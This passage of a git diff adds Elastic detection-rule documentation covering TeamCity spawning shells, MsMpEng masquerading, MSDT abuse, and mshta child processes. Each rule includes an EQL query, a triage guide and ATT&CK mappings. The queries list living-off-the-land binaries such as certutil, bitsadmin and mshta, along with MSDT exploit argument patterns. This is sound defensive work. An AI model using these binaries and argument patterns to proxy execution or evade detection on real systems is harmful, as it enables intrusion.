activities. +- Apply the latest security patches and updates to TeamCity and its underlying Java runtime environment to mitigate known vulnerabilities. +- Restore the affected system from a clean backup taken before the suspicious activity was detected, ensuring no remnants of the exploit remain. +- Monitor network traffic and system logs for any signs of continued or related suspicious activity, focusing on the indicators identified in the detection rule. +- Escalate the incident to the security operations center (SOC) or relevant IT security team for further investigation and to assess the need for additional security measures. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.executable : + ("?:\\TeamCity\\jre\\bin\\java.exe", + "?:\\Program Files\\TeamCity\\jre\\bin\\java.exe", + "?:\\Program Files (x86)\\TeamCity\\jre\\bin\\java.exe", + "?:\\TeamCity\\BuildAgent\\jre\\bin\\java.exe") and + process.name : ("cmd.exe", "powershell.exe", "msiexec.exe", "certutil.exe", "bitsadmin.exe", "wmic.exe", "curl.exe", "ssh.exe", + "rundll32.exe", "regsvr32.exe", "mshta.exe", "certreq.exe", "net.exe", "nltest.exe", "whoami.exe", "hostname.exe", + "tasklist.exe", "arp.exe", "nbtstat.exe", "netstat.exe", "reg.exe", "tasklist.exe", "Microsoft.Workflow.Compiler.exe", + "arp.exe", "atbroker.exe", "bginfo.exe", "bitsadmin.exe", "cdb.exe", "cmstp.exe", "control.exe", "cscript.exe", "csi.exe", + "dnx.exe", "dsget.exe", "dsquery.exe", "forfiles.exe", "fsi.exe", "ftp.exe", "gpresult.exe", "ieexec.exe", "iexpress.exe", + "installutil.exe", "ipconfig.exe","msxsl.exe", "netsh.exe", "odbcconf.exe", "ping.exe", "pwsh.exe", "qprocess.exe", + "quser.exe", "qwinsta.exe", "rcsi.exe", "regasm.exe", "regsvcs.exe", "regsvr32.exe", "sc.exe", "schtasks.exe", + "systeminfo.exe", "tracert.exe", "wmic.exe", "wscript.exe","xwizard.exe", "explorer.exe", "msdt.exe") and + not (process.name : "powershell.exe" and process.args : "-ExecutionPolicy" and process.args : "?:\\TeamCity\\buildAgent\\work\\*.ps1") and + not (process.name : "cmd.exe" and process.args : "dir" and process.args : "/-c") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: InstallUtil +** ID: T1218.004 +** Reference URL: https://attack.mitre.org/techniques/T1218/004/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Odbcconf +** ID: T1218.008 +** Reference URL: https://attack.mitre.org/techniques/T1218/008/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Network Configuration Discovery +** ID: T1016 +** Reference URL: https://attack.mitre.org/techniques/T1016/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: System Network Connections Discovery +** ID: T1049 +** Reference URL: https://attack.mitre.org/techniques/T1049/ +* Technique: +** Name: Process Discovery +** ID: T1057 +** Reference URL: https://attack.mitre.org/techniques/T1057/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Technique: +** Name: Domain Trust Discovery +** ID: T1482 +** Reference URL: https://attack.mitre.org/techniques/T1482/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-managed-code-hosting-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-managed-code-hosting-process.asciidoc new file mode 100644 index 0000000000..9369bc6c2a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-managed-code-hosting-process.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-21-suspicious-managed-code-hosting-process]] +=== Suspicious Managed Code Hosting Process + +Identifies a suspicious managed code hosting process which could indicate code injection or other form of suspicious code execution. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Elastic Endgame +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 314 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Managed Code Hosting Process* + + +Managed code hosting processes like wscript.exe, cscript.exe, and others are integral to executing scripts and managing code in Windows environments. Adversaries exploit these processes for code injection or executing malicious scripts, often evading detection. The detection rule identifies anomalies by monitoring specific process logs, flagging high-risk activities that deviate from normal operations, thus alerting analysts to potential threats. + + +*Possible investigation steps* + + +- Review the process logs for the specific file names flagged in the alert, such as wscript.exe.log or cscript.exe.log, to identify any unusual or unauthorized script executions. +- Correlate the suspicious process activity with user account activity to determine if the actions were performed by a legitimate user or potentially compromised account. +- Examine the parent process of the flagged managed code hosting process to identify if it was spawned by a legitimate application or a known malicious process. +- Check for any recent changes or modifications to the scripts or executables associated with the flagged process to identify potential tampering or unauthorized updates. +- Investigate network connections initiated by the suspicious process to detect any communication with known malicious IP addresses or domains. +- Utilize threat intelligence sources to cross-reference any identified indicators of compromise (IOCs) such as file hashes or IP addresses associated with the suspicious process. + + +*False positive analysis* + + +- Legitimate administrative scripts may trigger alerts when executed by IT personnel using wscript.exe or cscript.exe. To manage this, create exceptions for known scripts and trusted user accounts. +- Automated system maintenance tasks using mshta.exe or wmic.exe can be flagged as suspicious. Identify and whitelist these tasks if they are part of regular system operations. +- Software updates or installations might use svchost.exe or dllhost.exe, leading to false positives. Monitor and document these activities, then exclude them from alerts if they are verified as safe. +- Custom applications that rely on cmstp.exe or regsvr32.exe for legitimate purposes can be mistaken for threats. Validate these applications and add them to an exception list to prevent unnecessary alerts. +- Regularly review and update the exception list to ensure it reflects current legitimate activities, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate the suspicious process identified in the alert, such as wscript.exe, cscript.exe, or any other flagged process, to stop any ongoing malicious activity. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious files or scripts. +- Review and restore any system or application configurations that may have been altered by the malicious process to ensure system integrity. +- Collect and preserve relevant logs and forensic data from the affected system for further analysis and to aid in understanding the scope and impact of the incident. +- Notify the security operations center (SOC) or incident response team to escalate the incident for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and detection rules to enhance visibility and prevent similar threats in the future, focusing on the specific processes and behaviors identified in the alert. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + file.name : ("wscript.exe.log", + "cscript.exe.log", + "mshta.exe.log", + "wmic.exe.log", + "svchost.exe.log", + "dllhost.exe.log", + "cmstp.exe.log", + "regsvr32.exe.log") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Process Injection +** ID: T1055 +** Reference URL: https://attack.mitre.org/techniques/T1055/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: CMSTP +** ID: T1218.003 +** Reference URL: https://attack.mitre.org/techniques/T1218/003/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ +* Technique: +** Name: Reflective Code Loading +** ID: T1620 +** Reference URL: https://attack.mitre.org/techniques/T1620/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-antimalware-service-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-antimalware-service-execution.asciidoc new file mode 100644 index 0000000000..37ab993148 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-antimalware-service-execution.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-suspicious-microsoft-antimalware-service-execution]] +=== Suspicious Microsoft Antimalware Service Execution + +Identifies suspicious execution of the Microsoft Antimalware Service Executable (MsMpEng.exe) from non-standard paths or renamed instances. This may indicate an attempt to evade defenses through DLL side-loading or by masquerading as the antimalware process. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 218 + +*Rule authors*: + +* Elastic +* Dennis Perto + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Microsoft Antimalware Service Execution* + + +The Microsoft Antimalware Service Executable, a core component of Windows Defender, is crucial for real-time protection against malware. Adversaries exploit its trust by renaming it or executing it from non-standard paths to load malicious DLLs, bypassing security measures. The detection rule identifies such anomalies by monitoring process names and paths, flagging deviations from expected behavior to uncover potential threats. + + +*Possible investigation steps* + + +- Review the process details to confirm if the process name is MsMpEng.exe but is executing from a non-standard path. Check the process.executable field to identify the exact path and verify if it deviates from the expected directories. +- Investigate the parent process of the suspicious MsMpEng.exe instance to determine how it was initiated. This can provide insights into whether the process was started by a legitimate application or a potentially malicious one. +- Examine the system for any recent file modifications or creations in the directory where the suspicious MsMpEng.exe is located. This can help identify if a malicious DLL was recently placed in the same directory. +- Check for any network connections or communications initiated by the suspicious MsMpEng.exe process. This can help determine if the process is attempting to communicate with external servers, which may indicate malicious activity. +- Look for any other processes or activities on the host that may indicate compromise, such as unusual user account activity or other processes running from unexpected locations. This can help assess the broader impact of the potential threat. + + +*False positive analysis* + + +- Legitimate software updates or installations may temporarily rename or relocate the Microsoft Antimalware Service Executable. Users should verify if any software updates or installations occurred around the time of the alert and consider excluding these paths if they are known and trusted. +- Custom security or IT management tools might execute the executable from non-standard paths for monitoring or testing purposes. Confirm with IT or security teams if such tools are in use and add these paths to the exclusion list if they are verified as safe. +- Virtualization or sandbox environments may replicate the executable in different locations for testing or analysis. Check if the environment is part of a controlled setup and exclude these paths if they are part of legitimate operations. +- Backup or recovery processes might involve copying the executable to alternate locations. Ensure these processes are legitimate and consider excluding these paths if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the potential threat. +- Terminate any suspicious processes identified by the detection rule, specifically those involving MsMpEng.exe running from non-standard paths. +- Conduct a thorough scan of the affected system using an updated antivirus or endpoint detection and response (EDR) tool to identify and remove any malicious DLLs or other malware. +- Review and restore any altered or deleted system files from a known good backup to ensure system integrity. +- Investigate the source of the DLL side-loading attempt to determine if it was part of a broader attack campaign, and gather forensic evidence for further analysis. +- Escalate the incident to the security operations center (SOC) or incident response team for a deeper investigation and to assess the need for further containment measures. +- Implement additional monitoring and alerting for similar anomalies in process execution paths to enhance detection capabilities and prevent recurrence. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and +( + (process.pe.original_file_name == "MsMpEng.exe" and not process.name : "MsMpEng.exe") or + ( + process.name : "MsMpEng.exe" and + not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "?:\\Program Files\\Windows Defender\\*.exe", + "?:\\Program Files (x86)\\Windows Defender\\*.exe", + "?:\\Program Files\\Microsoft Security Client\\*.exe", + "?:\\Program Files (x86)\\Microsoft Security Client\\*.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Windows Defender\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files\\Microsoft Security Client\\*.exe", + "\\Device\\HarddiskVolume*\\Program Files (x86)\\Microsoft Security Client\\*.exe" + ) + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Sub-technique: +** Name: Match Legitimate Resource Name or Location +** ID: T1036.005 +** Reference URL: https://attack.mitre.org/techniques/T1036/005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: DLL +** ID: T1574.001 +** Reference URL: https://attack.mitre.org/techniques/T1574/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-diagnostics-wizard-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-diagnostics-wizard-execution.asciidoc new file mode 100644 index 0000000000..65f5216b7a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-diagnostics-wizard-execution.asciidoc @@ -0,0 +1,161 @@ +[[prebuilt-rule-8-19-21-suspicious-microsoft-diagnostics-wizard-execution]] +=== Suspicious Microsoft Diagnostics Wizard Execution + +Identifies potential abuse of the Microsoft Diagnostics Troubleshooting Wizard (MSDT) to proxy malicious command or binary execution via malicious process arguments. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://twitter.com/nao_sec/status/1530196847679401984 +* https://lolbas-project.github.io/lolbas/Binaries/Msdt/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Microsoft Diagnostics Wizard Execution* + + +The Microsoft Diagnostics Troubleshooting Wizard (MSDT) is a legitimate tool used for diagnosing and resolving issues within Windows environments. However, adversaries can exploit MSDT to execute malicious commands by manipulating its process arguments, effectively using it as a proxy for harmful activities. The detection rule identifies such abuse by monitoring for unusual execution patterns, such as atypical file paths, unexpected parent processes, and non-standard executable locations, which are indicative of potential misuse. This proactive detection helps in mitigating risks associated with defense evasion tactics. + + +*Possible investigation steps* + + +- Review the process arguments to identify any suspicious patterns, such as "IT_RebrowseForFile=*", "ms-msdt:/id", "ms-msdt:-id", or "*FromBase64*", which may indicate malicious intent. +- Examine the parent process of msdt.exe to determine if it was launched by an unexpected or potentially malicious process like cmd.exe, powershell.exe, or mshta.exe. +- Check the file path of the msdt.exe executable to ensure it matches the standard locations (?:\Windows\system32\msdt.exe or ?:\Windows\SysWOW64\msdt.exe) and investigate any deviations. +- Investigate the user account associated with the process execution to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Correlate the event with other security alerts or logs from data sources like Microsoft Defender XDR or Sysmon to identify any related malicious activities or patterns. +- Assess the risk score and severity of the alert to prioritize the investigation and determine if immediate action is required to mitigate potential threats. + + +*False positive analysis* + + +- Legitimate troubleshooting activities by IT staff using MSDT may trigger alerts. To manage this, create exceptions for known IT user accounts or specific machines frequently used for diagnostics. +- Automated scripts or software updates that utilize MSDT for legitimate purposes can cause false positives. Identify these scripts and whitelist their execution paths or parent processes. +- Custom diagnostic tools that leverage MSDT might be flagged. Review these tools and exclude their specific process arguments or executable paths if they are verified as safe. +- Non-standard installations of MSDT in custom environments could be misidentified. Ensure that any legitimate non-standard paths are documented and excluded from monitoring. +- Frequent use of MSDT in virtualized environments for testing purposes may lead to alerts. Consider excluding these environments or specific virtual machines from the rule. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Terminate the suspicious msdt.exe process to stop any ongoing malicious execution. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or processes. +- Review and analyze the process arguments and parent processes associated with the msdt.exe execution to identify potential entry points or related malicious activities. +- Restore any affected files or system components from a known good backup to ensure system integrity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for msdt.exe and related processes to detect and respond to similar threats in the future. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (?process.pe.original_file_name == "msdt.exe" or process.name : "msdt.exe") and + ( + process.args : ("IT_RebrowseForFile=*", "*FromBase64*", "*/../../../*", "*PCWDiagnostic*") or + ( + process.args : "-af" and process.args : "/skip" and + process.parent.name : ("explorer.exe", "cmd.exe", "powershell.exe", "cscript.exe", "wscript.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe") and + process.args : ("?:\\WINDOWS\\diagnostics\\index\\PCWDiagnostic.xml", "PCWDiagnostic.xml", "?:\\Users\\Public\\*", "?:\\Windows\\Temp\\*") + ) or + + (process.pe.original_file_name == "msdt.exe" and not process.name : "msdt.exe" and process.name != null) or + + ( + ?process.pe.original_file_name == "msdt.exe" and + not process.executable : ( + "?:\\Windows\\system32\\msdt.exe", + "?:\\Windows\\SysWOW64\\msdt.exe", + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\system32\\msdt.exe", + "\\Device\\HarddiskVolume*\\Windows\\SysWOW64\\msdt.exe" + ) + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Rename Legitimate Utilities +** ID: T1036.003 +** Reference URL: https://attack.mitre.org/techniques/T1036/003/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-html-application-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-html-application-child-process.asciidoc new file mode 100644 index 0000000000..4e197c6939 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-microsoft-html-application-child-process.asciidoc @@ -0,0 +1,156 @@ +[[prebuilt-rule-8-19-21-suspicious-microsoft-html-application-child-process]] +=== Suspicious Microsoft HTML Application Child Process + +Identifies Mshta.exe spawning a suspicious child process. This may indicate adversarial activity, as Mshta is often leveraged by adversaries to execute malicious scripts and evade detection. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/Binaries/Mshta/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Microsoft HTML Application Child Process* + + +Mshta.exe is a legitimate Windows utility used to execute Microsoft HTML Application (HTA) files. Adversaries exploit it to run malicious scripts, leveraging its trusted status to bypass security measures. The detection rule identifies suspicious network activity by Mshta.exe, excluding known benign processes, to flag potential threats. This approach helps in identifying unauthorized network connections indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process tree to understand the parent-child relationship of mshta.exe, focusing on any unusual or unexpected parent processes that are not excluded by the rule, such as Microsoft.ConfigurationManagement.exe or known benign executables. +- Analyze the command-line arguments used by mshta.exe to identify any suspicious or unexpected scripts being executed, especially those not matching the excluded ADSelfService_Enroll.hta. +- Examine the network connections initiated by mshta.exe, including destination IP addresses, domains, and ports, to identify any connections to known malicious or suspicious endpoints. +- Check for any related alerts or logs from the same host around the time of the mshta.exe activity to identify potential lateral movement or additional malicious behavior. +- Investigate the user account associated with the mshta.exe process to determine if it has been compromised or is exhibiting unusual activity patterns. + + +*False positive analysis* + + +- Mshta.exe may be triggered by legitimate software updates or installations, such as those from Microsoft Configuration Management. To handle this, add exceptions for processes with parent names like Microsoft.ConfigurationManagement.exe. +- Certain applications like Amazon Assistant and TeamViewer may use Mshta.exe for legitimate purposes. Exclude these by specifying their executable paths, such as C:\Amazon\Amazon Assistant\amazonAssistantService.exe and C:\TeamViewer\TeamViewer.exe. +- Custom scripts or internal tools that utilize HTA files for automation might cause false positives. Identify these scripts and exclude them by their specific arguments, such as ADSelfService_Enroll.hta. +- Regularly review and update the list of exceptions to ensure that only verified benign activities are excluded, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate the mshta.exe process if it is confirmed to be making unauthorized network connections. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious scripts or files. +- Review and analyze the process tree and network connections associated with mshta.exe to identify any additional compromised processes or systems. +- Restore the system from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Implement application whitelisting to prevent unauthorized execution of mshta.exe and similar system binaries. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the broader network. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "mshta.exe" and + ( + process.name : ("cmd.exe", "powershell.exe", "certutil.exe", "bitsadmin.exe", "curl.exe", "msiexec.exe", "schtasks.exe", "reg.exe", "wscript.exe", "rundll32.exe") or + process.executable : ("C:\\Users\\*\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\*.exe") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Mshta +** ID: T1218.005 +** Reference URL: https://attack.mitre.org/techniques/T1218/005/ +* Sub-technique: +** Name: Msiexec +** ID: T1218.007 +** Reference URL: https://attack.mitre.org/techniques/T1218/007/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Sub-technique: +** Name: Windows Command Shell +** ID: T1059.003 +** Reference URL: https://attack.mitre.org/techniques/T1059/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-ms-office-child-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-ms-office-child-process.asciidoc new file mode 100644 index 0000000000..ccadc1e674 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-suspicious-ms-office-child-process.asciidoc @@ -0,0 +1,251 @@ +[[prebuilt-rule-8-19-21-suspicious-ms-office-child-process]] +=== Suspicious MS Office Child Process + +Identifies suspicious child processes of frequently targeted Microsoft Office applications (Word, PowerPoint, Excel). These child processes are often launched during exploitation of Office applications or from documents with malicious macros. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/vulnerability-summary-follina + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: 